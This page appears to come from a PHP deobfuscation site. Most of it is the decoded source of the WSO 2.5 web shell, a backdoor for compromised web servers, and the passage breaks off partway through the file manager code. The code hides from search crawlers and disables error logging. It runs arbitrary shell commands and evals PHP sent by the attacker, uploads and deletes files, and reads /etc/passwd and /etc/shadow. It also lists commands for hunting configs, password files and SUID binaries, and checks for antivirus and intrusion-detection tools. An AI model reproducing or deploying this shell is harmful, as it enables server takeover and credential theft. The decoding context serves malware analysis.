Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $twpBu = 's'.'t'.'rrev'; $IcoJs = 'base6'.'4'.'_d'.'ec'.'ode'; /* zjh kwpjryybbx ..

Decoded Output download



if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
if (!function_exists('iconv') && function_exists('mb_convert_encoding')) {
	function iconv($from_encoding, $to_encoding, $string){
		return mb_convert_encoding($string, $to_encoding, $from_encoding);
	}
}
if (!function_exists('iconv')) {
	function iconv($from_encoding, $to_encoding, $string){
		return html_entity_decode(htmlentities($string, ENT_QUOTES, $from_encoding), ENT_QUOTES , $to_encoding);
	}
}

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
	@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(function_exists("get_magic_quotes_gpc")){
	if(get_magic_quotes_gpc()) {
		function WSOstripslashes($array) {
			return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
		}
		$_POST = WSOstripslashes($_POST);
		$_COOKIE = WSOstripslashes($_COOKIE);
	}
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';


$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
		//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan', 'Console'=>'Console','Sql'=>'Sql', 'UPdate/UPgrade' => 'UPDate', 'Php'=>'Php', 'String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v){
		if($k == 'UPdate/UPgrade'){
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')"><font color="#25ff00">'.$k.'</font></a> ]</th>';
		}else{
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
		}
	}
	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		if(function_exists('posix_getpwuid')){
			$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		}else{
			$ow = '';
		}
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
